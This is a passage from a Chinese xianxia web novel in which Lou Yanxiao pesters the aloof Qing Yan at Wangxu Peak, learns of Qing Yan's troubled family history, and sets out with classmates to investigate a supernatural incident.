清厌沉默望向他良久,说不出任何一句话,最后只能移开视线,重新拿起笔,投入到抄写中。
楼砚霄瞧见他许久不说话,又道:“清厌兄,你为何不说话?我来陪你你难道不高兴吗?”
“……不用。”清厌头也不抬,淡淡说道。
“为何不用?”楼砚霄起身,上到二楼,在清厌对面坐下,弯下腰去看他的眼睛,然而还没等他低下头,眼睛率先被一本书遮住。
清厌:“既然来了书砚阁,那便把这本书抄了。”
楼砚霄没接过那本书,执拗道:“你还没回答我的问题。”
“有何好回答的。”清厌一手用书册隔开他的视线,一手则握着狼毫笔八方不动抄着书。
楼砚霄:“……我来时,夫子并未说让我抄书。”
清厌:“你可知书砚阁是何地?”
“不就是你们妄虚的藏书阁么?”楼砚霄随意道,抬手想要将他的书册拿开。
清厌好似料到了他的动作,在他即将得手的那刻,便将书册移开,重新挡在另一个位置。
楼砚霄:“……”
“清厌兄,你就这么不想见到我?”他耐不住性子问道。
清厌应了声:“不想。”
“你就这么讨厌我?”楼砚霄换了个说辞,语气有些可怜。
清厌沉思了下,而后才认真道:“嗯。”
言罢,抬头,就瞧见原先还一副活蹦乱跳,能说会道的人一瞬间垮了脸,换上伤心的神色。
不知为何,清厌心里涌起从前从未出现过的别样情绪。
他强迫自己低下头,继续对着书册抄写,倏地,他手中的狼毫笔被人抢去,一只手掌撑在桌案上,手的主人气势冲冲道:“我不管,昨夜你已经与我喝过酒,不论如何,我们都是朋友了!”
清厌:“……”
他闭上眼睛,冷着声音道:“把笔还我。”
“不还!”
“楼琢!”
楼砚霄道:“不就是拿了你一支笔吗?声音这么大做甚,我又不是不还你。”
清厌:“你想做甚?”
“很简单,你理一下我。”楼砚霄笑着看向他。
“……”
清厌睁开眼睛看他,欲言又止,最后又闭上了眼睛,视死如归地说道:“我想与你做朋友。”
“这就对了嘛。”楼砚霄开心地将笔还给他,循循善诱道:“你说你明明能说话,非要装出一副说出此话就要死的表情,我从未见过像你一般神情如此淡薄的人,来妄虚峰这么久也从未见过你笑过,你说你这么冷淡如何能交到朋友?”
清厌:“……我不需要朋友。”
“嗯?”楼砚霄起身的动作一顿,低头看向清厌,发觉此人脸上淡的没什么情绪,但仔细一瞧,似乎又藏了些他看不懂的情绪,使他不由得想起清厌的名字来。
妄虚峰作为正道第一门派,自然也同其他门派是个世家,而这妄虚峰峰主姓的便是晏。
而与晏峰主皆为道侣的兰家琴女也与清字毫不相干,清厌为何姓清?又为何字又取了一个如此不常见的厌字。
他开口想要问道,却被凛冽的掌风带到了楼下,紧接着,一本书册在他面前摊开,密密麻麻的字引入眼帘,叫他瞬间忘了自己的想法。
清厌的嗓音从楼上传来:“入书砚阁者,需得将妄虚礼篇抄上三遍方可出去。”
楼砚霄:“?”
“我不抄!”
他拿起书册,正欲往楼上扔,倏地,他被人施了定身诀,整个人就这么举着书册,动弹不得。
他尝试自己解开定身诀,却发觉根本解不开,于是眼珠子转了一圈,看向清厌,求饶道:“我抄!我现在就抄!清厌兄,你能不能先把我身上的诀解开了?”
清厌没应他,倒是把诀解开了。
楼砚霄得了舒畅,随手抓了只狼毫笔,往楼上跑去,再次在清厌对面坐下,笔尖点上清厌研磨好的墨。
瞧见这一幕的清厌:“……下去。”
楼砚霄露出一副可怜的的神情:“清厌兄,我不会研墨。”
“……”
清厌道:“不会那便学。”
“学不会。”
“那你会什么?”清厌耐着性子问道。
楼砚霄低头认真思索了一番,道:“喝酒?”
清厌无言,沉默地望着他。
-
一刻钟后,放置在书砚阁一楼的桌案被人搬到了二楼,清厌将墨方研磨,放在楼砚霄的桌上,问道:“还缺什么?我去给你寻来。”
“当真?”楼砚霄眼睛极亮地看着他。
清厌不自在地移开眼。
楼砚霄瞧见他这副模样,笑出了声:“清厌兄,你怎这般害羞?”
清厌:“你若是没有,那便不要再说话。”
“我若是说有呢?”楼砚霄忍不住逗道,“我若是说有,你也会去取?”
清厌沉默良久,道:“……你有我便去。”
楼砚霄瞧着清厌的神情不似作假,当即道:“我听闻妄虚峰的山巅上开了一朵千山莲,不知可否——”
“此物除外。”清厌打断他。
楼砚霄疑问:“为何?”
清厌一本正经道:“今日天气炎热,热死了。”
“热死了?”
在楼砚霄震惊的目光下,他不紧不慢点了点头,补充道:“你若是想,待到明年春天它才会再次开花。”
言罢,许久未听到楼砚霄言语,便转头看向他,哪知一转头,便对上一双揶揄的眼睛,“清厌兄,你今日说的……比前几日说的话还多。”
清厌:“……”
他回到自己的桌案坐下,将书案移了一个方向,背对着楼砚霄,打算眼不见心不烦。
然而刚提笔写下一个字,身后便传来楼砚霄的嗓音:“清厌兄,你平日里受罚都是来此地么?”
“嗯。”
楼砚霄又问道:“你们妄虚峰将书阁叫刑堂?”
“拆了。”
“嗯?”
清厌语气极淡道:“刑堂拆了,改成了登星阁。”
楼砚霄闻言一怔,前几日问清厌始终不肯说缘由,如今一听心上好似插了一把无形的刀。
“你为何……独自一人住在登星阁?”
清厌背对着他,楼砚霄瞧不见他的表情,只隐约察觉到他笑了,不过算不上什么明朗的笑,颇有些嘲笑的意味:“登星阁煞气重,需得人去镇守,我自小便被风水玄算出天生剑骨,我去再合适不过。”
既不会碍人眼,也寻得一片清净,何乐而不为。
他没有回头看楼砚霄,提着笔继续将书册的内容抄下来,淡声道:“抄书罢。”
楼砚霄自觉抄起自己的那份书册,两人不再交谈。
-
待到将妄虚礼篇抄完,外头已过了三日。
他从书砚阁出来,就瞧见一个身形圆滚的少年坐在不远处的亭中,身后跟着两名婢女,面前却跪着一个单薄的少年,看面容瞧着有些熟悉。
楼砚霄定睛一看,发觉少年竟是那日遇到被欺负的正道子弟!
瞧身上的服饰,似乎是天辰凌家的人。
他轻手轻脚走过去,躲在距亭子不远处的假山后,凝神细听两人的交谈。
“我让你给清厌送贴,几日过去怎么还不来见本少爷?你到底有没有按照我说的去做?!”说话的人似乎朝跪在地上的那人踢了一脚,后者吃痛,倒在地上发出些许声响。
那人似乎觉得还不够,又用力踢了几脚,骂道:“一个贱婢生的杂种,还妄想骑到我的头上来!”
“我出生低微又如何?!就算大夫人长的再如何美若天仙,家主还不是照样在外寻欢作乐,你拦得住他吗?”倒在地上的少年不卑不亢道,“你生的尊贵,却拦不住一个到处留种的父亲——”
“把我的剑拿来,今日我非把他杀了不可!”那人怒道。
跟在身侧的婢女闻言,取出少年的配件,递给少年,随后低下眼,一副司空见惯的神情,默默退至身后。
倒在地上的少年瞧见他拔出佩剑,语言愈发犀利:“凌尘,你若是杀了我,我做鬼也不会放过你!”
“那又如何——”凌尘的剑还未朝少年挥去,剑身率先缠上了一根
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红线,对方一使力,瞬间将他的剑抽中。
凌尘急忙看向红线的来处,看到是一座假山时,大声喝道:“谁在装神弄鬼?”
“装神弄鬼倒不至于。”含笑的嗓音在身后响起,剑风从脖颈处吹过,凌尘瞬时起了一身鸡皮疙瘩,还未缓过神,又听那人继续道:“不如说是路见不平。”
“你是谁?!”凌尘转身,向后退了几步,看向来人,在注意到身着一身红衣后,眼神变得凌厉,“你是百木傀师人!”
楼砚霄道:“真是好眼力,居然还知道我是哪门哪派。”
“我管你是谁,我教育族中弟子,你为何阻拦?”
楼砚霄偏头看向倒在地上,被打的鼻青脸肿的少年,笑道:“那你们天辰凌家教育弟子的方式……还真是独特。”
凌尘朝婢女使了个眼色,后者意会,不动声色挡住楼砚霄的视线。
而他往前站出一步,大声道:“若你现在把剑还我,我可以饶你不死!”
“就凭你?”楼砚霄瞧他修为不高,语气倒是比同龄人狂妄不少,眉眼间带着轻蔑,一副谁也看不起的模样。
于是他并未用的剑,也未用傀线,只一脚就将人踢倒在地。
楼砚霄一脚踩在他的胸膛上,垂眼看他,“现在还想杀我吗?”
凌尘气不过,挣扎着想要起身,却被楼砚霄死死踩在地上,如何用力也起不了身,不由得骂道:“你这是想与我凌家为敌?!”
楼砚霄加重了几分力道,弯下腰看他,“不敢,我嫌蠢。”
“你——”
未等他言尽,楼砚霄一个用力,将他踢飞,砸在不远处的墙上,还未缓过神,一柄飞剑从他耳边飞过,划掉一撮头发,钉在他身后的墙上。
这一剑魄,吓的他久久坐在原地,不能起身。
不知过了多久,他被婢女扶起来才稍稍回神,再抬头时,便瞧见楼砚霄将自己先前踢倒的人扶到石凳上做好,安抚道:“你修为比他高,何故受此委屈?”
少年朝他轻轻摇了摇头,欲言又止地望向一个方向。
凌尘注意到他的举动,也顺着他的方向望去,在瞧见一个熟悉的青衣身影时,也顾不上搀扶他的婢女,急忙跑过去,大声喊道:“晏、晏叔叔!晏叔叔!”
那名青衣人不是别人,正是妄虚峰峰主晏成双。
晏成双听到他的嗓音,停下脚步,回头看他,意外道:“尘儿?”
“晏叔叔,尘儿好想你。”凌尘扑进他的怀里,宛如见了亲人一般。
“晏叔叔也很想尘儿。”晏成双拍了拍他的脑袋,注意他胸膛处有个明显的脚印,沉声问道:“谁欺负你了?”
凌尘指着楼砚霄的方向道:“就是他!”
晏成双抬眼望去,瞧见那抹耀眼的红衣,神情明显一怔:“百木傀师?”
凌尘着急有人替他教训楼砚霄,哪顾得晏成双说了什么,他不管不顾拽着人来到亭子,得意道:“你敢打我,今日我便让你在妄虚峰待不下去!”
楼砚霄轻笑了声,朝晏成双作礼:“晏峰主。”
“你是?”
“在下百木傀师第一百零八代弟子,楼琢楼砚霄。”
楼砚霄……
晏成双在心里念着这个名字,蓦然想起眼前这位少年便是当今诡道小辈中的第一人,在还未来到妄虚前,便已经在大陆上闯出了名气。
他也还少年一个礼,“尘儿不懂事,叨扰了。”
一旁等着晏成双训斥的凌尘听到这句话,不高兴道:“晏叔叔,他与我同岁,你为何朝他行礼?”
“尘儿。”晏成双叹了口气。
站在两人对面的楼砚霄察觉两人话语间带着不自觉的亲昵,好似一家人,心里泛起了奇怪的涟漪。
还未等他思索晏成双与凌尘是何关系时,原先坐在的少年站了起来,朝远处道:“少峰主。”
三人同时抬头望去,只见清厌关上书砚阁的门,正欲打算离开,却在听到少年的声音后,停下脚步朝他们望来。
目光掠过楼砚霄,瞧见站在一起宛如父子的两人,他迅速别开眼,头也不回地离开了。
晏成双收回眼,见惯不惯对楼砚霄解释道:“清厌从小便是如此,还望——”
话还未尽,一阵风从身旁刮过,只留下一道轻快的嗓音:“清厌兄,等等我!”
“我与他们毫无关系,你等等我啊!”
楼砚霄瞧见清厌眼中露出不易察觉的悲伤情绪,哪还顾得上亭中的其他人,想也不想地朝清厌跑去,追上人方才停下来。
他气喘吁吁道:“清厌兄,你走那么快做甚?我气快断了……”
清厌绷着脸道:“从今日起,你不用再住在登星阁了。”
“可是我惹你不高兴了?”楼砚霄伸出三根手指,对着天发誓,“我愿意住在登星阁一辈子!”
清厌:“……”
“荒唐。”
他丢下这二字,便抬腿往前走了。
楼砚霄一看便知清厌允许自己留下了,对着他慌乱的背影大声道:“清厌,你人真好。”
走在前头的清厌闭上了眼睛,随后唤来佩剑,御剑离开了。
回到登星阁,心绪久久不能平静,他再次拔出剑,朝不远处的树一挥,栽种百年,风吹不倒的老树“咔嚓”一声,倒在了地上。
清厌收回剑,静静地看着那棵树,脑海中总能不自觉出现楼砚霄的脸。
他深吸了口气,进了登星阁。
14. 同床共枕
今夜,楼砚霄又翻出了登星阁,当着清厌的面翻出去的。
他坐在墙头,朝下方的清厌道:“我不下山,我去寻柳鹊凫。”
又道:“近日来思念柳兄许久,一日不见如隔三秋,今日夜色正好,正宜叙旧,我先走了清厌。”
深知两人见面就打的清厌沉默。
楼砚霄从墙头跳下,发觉清厌许久未出声,又翻了上去,冲清厌笑道:“子时之前我必定回来,你大可放心。”
清厌离去的脚步一顿,冷声说道:“你去何地与我无关。”
“但与我有关啊。”楼砚霄挥了挥手,“你的神情分明说了你在意我,又何故作出一副不在意的模样?你若是不放心,子时你便在此地等我就是了,清厌兄,你又走这么快做甚,夜黑风高,小心脚下啊……”
清厌边走边念个静心诀,念完之后楼砚霄的一字一句仍在脑海里挥之不去,他停下脚步,回头望去,原先趴在墙上的人已然没了踪影。
“跑的还真快……”
-
楼砚霄翻来小院,将刚刚入睡的柳鹊凫摇醒,后者迷迷糊糊睁开眼睛,心道哪个不长眼的靠近他,哪知一睁眼,一张鬼脸出现在面前。
“问柳!”他想也不想唤来佩剑,一剑向人劈去。
见状,楼砚霄急忙将蜡烛转过一边,大声道:“柳鹊凫,我是楼砚霄!”
柳鹊凫已然进入了战斗状态,拿着剑对着他砍,凛冽的剑风将蜡烛熄灭,“我管你是谁!装神弄鬼的小人!”
蜡烛熄灭后,柳鹊凫便看不清他的脸,瞧不见他的脸,心里愈发觉得此人就是个伪装成楼砚霄的鬼,于是也不管不顾向他挥剑。
楼砚霄背上措不及防挨了一剑,剑刃将他的衣裳划开,昨夜回来换下的衣服还未缝补,一日未到,又添了一件新的。
两人打斗的声音过大,其他人也接连醒了过来,褚光卿听到熟悉的嗓音,连忙将屋子里的烛台点上火,转身看向两人。
这下,柳鹊凫终于看清了对方的脸,“……楼砚霄?”
楼砚霄身上的衣裳已然被划破的不成样子,勉强穿在身上,听到他的声音,道:“我早说了我的身份,你偏不信。”
“谁让你大半夜装神弄鬼!”柳鹊凫义正言辞道,“你若是不弄这一出,何至于如此?”
楼砚霄颇为心虚地摸了摸,余光瞧见一旁偷笑的褚光卿,将手里的蜡烛朝他话里扔去,终于想起自己来找柳鹊凫的目的,没了之前的心虚,直起腰杆道:“我今日来找你是有一事想问你。”
鉴于楼砚霄的前科颇多,柳鹊凫警惕地看了他一眼,“你想作甚?”
“柳兄,我们之间客气什么。”
言罢,便瞧见未说话的四人露出惊诧的神色,而第一次楼砚霄被唤作“柳兄”的柳鹊凫更是一副不能理解,见了鬼的表情。
褚光卿:“柳兄?”
萧朗:“不是大小姐吗?何时改了称呼不告诉我们。”
萧明:“你们二人还背着我们偷偷下山寻酒?”
宋听有:“闻所未闻。”
柳鹊凫:“……你近日吃菌子中毒了?”
“这些不重要,你知我找你有事就对了。”楼砚霄将其余四人推成一团,走到柳鹊凫面前,“我们出去说。”
四人:“……”
柳鹊凫收了剑,跟他出了小院,来到一处亭中,问道:“何事神神秘秘?”
“你知道清厌是妄虚峰少峰主,可知他为何取名清厌?”
柳鹊凫睨了他一眼,在石凳坐下,“你俩现在进展到哪一步?”
楼砚霄也跟着他在石凳坐下:“这是何意?”
“换个说法,你是不是心悦——”
话还未言尽,不远处的树丛传来一声惨叫,两人抬头望去,只见原先还在小院里的四人此时躲在树丛后,脖子一人伸的比一人长。而惨叫则是几人吃瓜急切,褚光卿一脚踩到了萧朗的小腿,后者措不及防帅倒在地,发出痛苦的惨叫。
站着的三人与亭中的楼砚霄,柳鹊凫面面相觑,最后还是褚光卿和萧明将萧朗抬回小院才作罢。
被这么一打岔,楼砚霄也忘了柳鹊凫想要问些什么,回神问道:“你方才要说什么?”
“没什么。”
楼砚霄心里奇怪,但又不好再问,于是继续揪着自己的疑问道:“你到底知不知道?”
柳鹊凫:“你问这个作甚?你不是从来不过问正道的事么?”
“白日遇到天辰凌家的人,与人打了一架。”
闻言,柳鹊凫没忍住道:“你当真是不怕死。”
如今的诡道与正道在大陆上各有自己的大派,也称代表,要说诡道是百木傀师,那正道便是妄虚峰。在此之下,正道世家中的天辰凌家排第二,不是因为修为有多么高强,而是因为他家实属有钱,凡是去过天辰凌家的人,无一不感慨他的财大气粗。
就连求学一事,在几十年前也是由天辰凌家来操办。但因上一代家主上任,无心此事,此事便由妄虚峰来操办。
楼砚霄自然知道与天辰凌家结下梁子是何等下场,但他年少成名,修为不低,这个年纪自然轻狂傲气,想做什么皆随心性。
不以为意道:“他们打不过我。”
柳鹊凫沉默。
良久才道:“你白日与天辰凌家交手,关清厌何事?”
楼砚霄道:“我觉得有些蹊跷,妄虚峰峰主似乎与天辰凌家那小子的关系比与清厌的还好……于是我便好奇,清厌为何姓清而不姓晏。”
此话一出,楼砚霄就瞧见柳鹊凫将剑放在石桌上,神色变化莫测,显然知道些什么。
空气安静下来,须臾,柳鹊凫开口:“你可知琴师兰家?”
“听闻一二。”
柳鹊凫颔首,道:“琴师兰家在百年前也曾风光一时,但随着各大家族不断涌现,道术多变,以琴为道者,逐渐势微。十六年前,兰家家主想出了破局之法。”
楼砚霄神情也变的凝重了起来,“我听闻兰家为琴师,多女修,难道他们是想……”
“没错,便是结契。”柳鹊凫道,“当时兰家家主本欲将自己的女儿与妄虚峰联姻,但晏峰主并不喜她,而是心悦兰家偏支的一名女子,那名女子不是本家,对晏峰主也无甚情愫,甚至在得知晏峰主的心意前,便与尚未是凌家家主的凌垣私定了终生。”
“兰家家主得知此事,便想出了一个法子。他先是告知晏峰主,那名女子可嫁予他,再将与天辰的凌家的婚事提上议程,说是与自己女儿结契,更是将两人出嫁的日子安排在同一日,好将两人的花嫁调换。”
楼砚霄听到这儿,颇为震惊。
兰家家主这一法子着实厉害,既得了妄虚峰的庇护,也得了天辰凌家的财势。
有了这两家,兰家想不长久都难,如今的大族一旦结契成功,一生便只认定一人,不可解脱。
“可这不就得罪妄虚峰了吗?”楼砚霄忍不住问道。
柳鹊凫摇了摇头,“当时的妄虚峰虽然名气也盛,到底是比不过还是如日中天的天辰凌家,就算是晏峰主想反抗也无济于事,契已结,也无法与凌家抗衡,对兰家也不能如何,只是可怜了那家主之女,她生下清厌才知觉这是一场阴谋。”
“原先发觉结契的人是晏峰主,她心里已有疑虑。兰家家主为了坐稳根基,在婚后设局让两人有了孩子,本是阴差阳错,这下……彻底成了一对怨偶,在清厌出生之时,晏峰主也未曾来看一眼,听闻风水玄推算出他是天生剑骨,对他憎恨更甚。”
“兰家女本是对晏峰主无情无义,在接二连三的事后,也与晏峰主分居而住,给清厌冠兰家姓,名取晏。在清厌三岁时,她便住进登星阁,在清厌六岁那年病故……此后清厌并将晏字改为厌,姓则随了学堂的夫子。”柳鹊凫抬头看向楼砚霄,道:“登星阁原先是妄虚峰的刑堂,但在老峰主去世后就改为了登星,我此行来妄虚,不止求学一事,还有登星阁。”
楼砚霄:“此地有蹊跷?”
柳鹊凫深吸了一口气,道:“父亲在我来之前告知我……戏门的门印似乎有了松动的迹象。”
戏门?
“有人想开戏门。”
楼砚霄的神色比之前冷峻了几分。
柳鹊凫道:“没错,来之前我用星斗盘算了方位,东北方,正是妄虚登星阁所在。”
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楼砚霄若有所思道:“莫非清厌母亲的死与戏门有关?”
“此事还要待查看登星阁才知晓一二。”
-
楼砚霄从小院回到登星阁时,已然过了子时。
但他显然没有晚归、不守时的意识,墙也不翻,就这么从登星阁的大门走进去。
哪知一进去,院中一抹白色的身影便映入眼帘,背影瞧着像是被抓包的慌乱,似乎是未料到楼砚霄突然回来,听到开门声匆忙转过身去。
楼砚霄笑了下。
听到笑声,清厌抬腿就要走。
见状,楼砚霄笑着追上去,侧头看他的脸,“清厌兄,这是要去哪啊?”
“……吹风。”清厌勉强挤出两个字,也不看楼砚霄。
“真的不是在等我?”楼砚霄笑着问。
清厌声音很冷:“没兴趣。”
“好一个没兴趣。”楼砚霄顺从他的掩饰,“清厌兄,如今我们这么熟了,也一同住了几日,你当真不请我去你房里坐坐?”
楼砚霄来登星阁也有了几日,今夜听柳鹊凫说登星阁与戏门些许有些关系,而他的院子也无甚异常,蓦然想起从未去过清厌的房间,依着此人被人偷看洗澡都要一副杀人的模样,说不定……真的有什么。
清厌不说话,楼砚霄脸上的笑容愈发灿烂,一个劲儿地喊道:“清厌兄,你别这么冷漠啊,你看我这么活泼开朗,你真的不喜欢我吗?你倒是说话啊,不说话我可要默认了——”
“闭嘴。”清厌径直往前走,端着生人勿近的冷脸。
可在月下,耳垂的红痕又格外明显。
走了没几步,身后紧跟不舍的人就可怜巴巴道:“清厌兄,我衣裳被划破了,带的衣裳不多,你可否借我几件,你放心,我绝对会妥善保管,绝不让他沾上一点尘土……”
清厌回头一看,楼砚霄身上的衣裳原先出去的还是完好的,此时回来却是多了被人用利剑划破的痕迹。
他扭头,不是很想理会,“谁划破的找谁。”
身后的人话音里的笑意浓了些:“清厌兄,你是不是忘了,昨夜可是你将我衣裳划破,现在就想翻脸不认人?”
清厌脚步一顿,有些无措。
再次转头,对上的就是一双带笑的眼睛。
“清厌兄,你可要对我负责啊。”楼砚霄与他对视,不紧不慢道,“瞧我嘴快,对我的衣服负责才是。”
“……”
-
半刻钟后,说是来拿衣裳就走的楼砚霄在清厌的床上睡的香甜,清厌迟迟不见人出来,进来看到的就是人抱着他的被褥不撒手,而衣裳则是随手挂在了一处。
清厌:“……”
他走过去,想要将自己的被褥拯救出来,却不设防被楼砚霄往床上拉去,倒在他的对面。
不知楼砚霄是真睡还是假睡,他倒下后就凑了过来,连人带被抱进怀里,咕哝道:“怎么比先前还香了?”
言罢,双手环上清厌的腰,往怀里拉了点,似乎觉得抱的被褥有些大,一条腿也跨了上来。
“楼琢!”
清厌低声喊了句,想要挣开他的束缚。
下一刻,一只手在他腰上拍了拍,含笑的嗓音响起:“清厌兄,你的被褥好香,味道只比你人淡了点。”
“你没睡?”
“被你香醒了。”楼砚霄混不吝道,挥起袖子把烛火灭了,凑近了点儿清厌道:“春宵苦短,美人在怀,一刻值千金。”
“你说对吧,清厌兄。”
清厌:“……滚。”
楼砚霄:“滚进你的怀里吗?”
又自顾自说道:“也不是不行。”
楼砚霄将隔在两人中间的被子扯开,直直把清厌拉进怀里,被褥正好覆在两人身上。
“……”
“你为何会定身诀?”
“今日抄书,学了点。白日你定我,夜里我定你,如何?”
“……你可以滚下去吗?”
“不能。”楼砚霄死死抱住他。
清厌绝望地闭上眼睛。
这楼琢……分明就是个流氓。
还是个没皮没脸的流氓。
15. 下山探诡
第二日,楼砚霄自然没换上白衣,因着他骨子里的那点愧疚心觉醒,昨夜弄出那么一出,再将人的衣裳拿走,怎么瞧都是他在欺负人。
况且清厌还是个脸皮薄的人。
想着,他便趁着清厌还未醒来,就出了屋子,卷着自己铺盖跑了。
再次回到小院,在褚光卿将门打开,风风火火冲了进去。
褚光卿还未清醒,只觉一阵风从自己身旁穿过,迷迷糊糊转头一看,原先屋子里空的床已经被人铺上,他看过去的一瞬,楼砚霄正好闭上眼睛,盖上被子。
褚光卿:“……”
瞧见楼砚霄那张脸,这下是彻底清醒了。
他进屋,走到床边,问道:“怎么突然回来了?”
“思念你们万分。”楼砚霄随口道。
“别恶心人了,大白日睡什么觉,赶紧起来。”褚光卿将他拉起来。
楼砚霄困顿打了个哈欠,道:“昨日与清厌兄打了一架,你容我休息一下。”
褚光卿道:“你怎么到处与人打架?”
“因为……”楼砚霄似乎想起了什么,睁开眼看他,“心动不如行动。”
“……”
褚光卿将门关上,打算不再与这到处打架的闹心玩意说话。
瞧见人终于离开,楼砚霄缩进被子里,心道:“终于能睡个好觉了。”
-
楼砚霄搬出登星阁几天,去学堂上课也并未碰到清厌,想来这次真的把人惹恼了。
在妄虚求学的日子过的很快,距上次学堂考核过去一月有余,夫子收了讲义,道:“三日后,便会进行我们教学内容的第二要点,下山探诡。”
“此行下山,只给你们七日的时间,七日内必须要解决一件诡事,在此途中,我会派清厌与你们同行,若是遇到不测,摁下玉笺寻他即可。”
话还未尽,余光瞧见下面的楼砚霄与褚光卿交头接耳,说着说着两人还笑了起来。
“楼砚霄!”
闻声,楼砚霄抬头看他,笑道:“夫子,你叫我可是有事?”
“交头接耳,成何体统!”夫子瞪了他一眼,“你们聊的如此开心,对下山探诡有百分之百的把握?”
楼砚霄如实道:“没有啊。”
“那你们还嬉皮笑脸?”
楼砚霄:“今日柳大小姐打扮过于隆重,惊艳了几分。”
安安静静上课的柳鹊凫:“……你们两个有病?是不是一只鸭子路过也要言论?”
“知我们者,柳大小姐也。”
“……”
空气安静了一瞬,下一刻剑光再次劈开楼砚霄的桌案。
楼砚霄转头看向夫子,言语颇为激动道:“夫子,你瞧柳鹊凫的剑如此快,没有十成把握也有九成,你大可放心。”
夫子哼了一声,收了讲义,离开了学堂。
楼砚霄瞧见他走了,回头正想与褚光卿继续说,哪知一转头就对上柳鹊凫的剑尖。
柳鹊凫冷冷看着他,怒道:“楼砚霄,你找死!”
“我们真没谈论你。”
“那你们笑什么?”柳鹊凫举着剑不肯退让半分,一副楼砚霄不说话,手里的剑就朝他刺去的模样。
楼砚霄左右看了眼,没看到那抹白色的身影,才放心道:“清厌身上比女子还香。”
柳鹊凫:“……”
“你等死吧。”柳鹊凫没好气哼道,对两人随时随地谈论别人的行为表示不耻。
“怎么可能——”
话音未落,许久未见的清厌出现在眼前,脸比之前还要冷上几分。
楼砚霄:“……”
柳鹊凫这张嘴是开了光了吧?
半刻钟后的妄虚峰,一个红色的身影在前方拼命地跑,后方是一个提着剑,冷着脸一副要杀人的白色身影。
身穿红衣的楼砚霄边跑边道:“清厌兄,许久不见,怎么一见面就要打人?你忘了我们曾躺在一张床上,无话不谈,恰如知己——”
清厌一剑朝他挥去,脸上尽是愠色,“闭嘴!”
“人长嘴不就是为了说话,清厌兄,你自己不爱说话,你怎么还不让我说话,难道你不喜欢我的声音吗?”楼砚霄大声反驳他。
清厌显然被气急了,说出的话愈发无情,也愈发简短:“不喜欢。”
楼砚霄笑了:“好绝情啊,清厌。”
清厌不再说话,运起气运挡住他的去路。
楼砚霄早已预料到他会这么做,在他来到自己面前立即折身往回跑,往人群冲去,在看戏的人群中瞧见柳鹊凫,顺手拔出他的剑。
“你!”柳鹊凫没想到他会这么做,当即愣住了。
再回神时,楼砚霄已经在空中挥出了一剑。
而后不紧不慢道:“你用剑,不讲武德。”
清厌盯着他,并未说话。
楼砚霄又道:“若是我打赢你,你下山跟我如何?”
“不合规矩。”
“如何不合规矩?你穿我们百木的下山不就行了?”楼砚霄欢快道,“你穿我们百木的衣裳可比你穿白衣好看,脸也暖和了些,没那么冷冰冰。”
清厌皱眉:“荒唐!”
“又是这句。”楼砚霄懒洋洋道,“清厌兄,你跟了我,我教你如何与人打交道,你就会说这两句是没人理你的。”
“要我是你我便说,楼砚霄,我想与你成朋友许久了,不管你理不理我,我都要与你成朋友……不对,我们已经是朋友了,何止于打打杀杀,清厌兄,你这人也怪记仇的,不就是闻了你一下么,至于一个月还记在心头。”
楼砚霄施出气运,将柳鹊凫的剑还回去,闪瞬至清厌身旁,轻声道:“清厌兄,你要是不想我将你身上有香气一事说出去,还是老老实实跟我下山吧。”
清厌余光瞥见他的笑颜,忍无可忍地移开眼,半晌才妥协道:“好。”
楼砚霄一只手揽上他的肩,话语中是止不住的笑:“三日后,我来寻你。”
清厌应了声,撇开他的手,离开了此地。
楼砚霄回到地面,看到的就是柳鹊凫和其他四人膛目结舌的表情。
“看什么看?”楼砚霄走过去,给每人肩上来了一掌。
众人吃痛,急忙回神,道:“你叫清厌与我们下山作甚?”
楼砚霄似乎此时才意识到这个问题,和几人对视了眼,讪讪道:“……忘了。”
五人:“……”
楼砚霄也想不起来自己为何一定要清厌同自己下山,只觉得下山此行有清厌才有意思。
想着,也不顾众人是何等反应,何等疑惑,自顾自往前走,“走罢,回去睡觉。”
“……”
-
三日后,小院外。
清厌欲言又止地看着他们,沉吟了一会儿才道:“他还没醒吗?”
柳鹊凫觉得丢脸,默默别开了眼,再看萧家兄弟,两人也不知该如何解释昨夜楼砚霄又偷跑下山去喝酒,过丑时回来,刚歇下不久的事。
最后还是宋听有轻叹道:“光卿已经去叫他了。”
清厌沉默。
众人在院外等了半个时辰有余,才瞧见一个红色身影迷迷糊糊走来,似乎是刚醒,腰带也没系上,被身后的褚光卿拽回去才知自己根本没系腰带。
清厌淡淡收回眼,却被楼砚霄一眼看到,边系着腰带边朝他跑来,“清厌兄,你咋来的如此早?”
他后退了几步,冷声道:“其他弟子卯时已下山,只有你们尚未出发。”
“有七日时间,不急。”楼砚霄无所谓道。
“此事并非你一人行事,你不急,但不代表其他人不急。”
楼砚霄闻言,转头看向其他人,问道:“你们很急?”
柳鹊凫冷哼了句:“不急。”
褚光卿:“一般。”
宋听有:“还好。”
萧明、萧朗:“我们听他们的。”
楼砚霄回头,朝清厌笑道:“他们都不说不急,我急作甚?”
清厌:“……”
“乌合之众。”
他转身就要走。
柳鹊凫瞥了楼砚霄一眼,发觉此人眼神在看到清厌后,就是跟着对方走,对清厌说出何种语言,都一概认为是好的。
他心里叹了口气,拿着剑朝清厌做了一个礼,解释道:“少峰主,下山探诡一事并不难,有楼砚霄在,不出三日便可完成,不必多虑。”
清厌道:“并未多虑,只是不信。”
“这是何意?”楼砚霄问道。
“毫无信度可言。”说罢,他便走了。
楼砚霄思索了一番,才明白他是何意。
想来三番四次骗了人,这下真把人惹恼了。
柳鹊凫正想问楼砚霄又对清厌做了何事,哪知一抬头人已经朝清厌离开的方向追去了,追还不忘道:“清厌兄,我并非有意欺瞒你……
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”
柳鹊凫:“……”
褚光卿望着楼砚霄的背影,觉得有些奇怪,“他这是作甚?”
“被男人迷了心智。”柳鹊凫没好气道。
褚光卿一听这话不乐意了:“什么叫被男子迷了心智?”
柳鹊凫翻了个白眼,“傻人有傻福,此次回百木,让你们长老收拾收拾赶紧把楼砚霄送来妄虚峰吧,一副不见清厌就活不了的模样,我竟不知兄弟还能这样?若真能这样,你与楼砚霄自小一起长大,怎么不见他对你如此?”
褚光卿道:“……不懂。”
“……”
“我不与傻子言语!”柳鹊凫气极了,丢下这句话,唤出佩剑御剑走了。
褚光卿一头雾水,挠了挠头,心道:“我本来就不懂这些,说了也是白说。”
一旁的宋听有摇了摇头,道:“我们也出发罢。”
“好。”
-
正午时分,几人一同来到山脚下的春堂镇,一进到小镇,便瞧见些许不同服饰的正道弟子,但一眼望去,还是天辰凌家的弟子居多。
天辰凌家的人瞧见他们,脸上露出不善的神色,然而在注意到几人身旁还跟着清厌,顿时又露出错愕的神情,似是不明白清厌作为正道弟子为何会与诡道的人站在一起。
清厌注意到了他们的目光,但身旁有个一直说话,还试图靠近他几分的楼砚霄,也就没管,在楼砚霄即将靠近时,微微后退了几分。
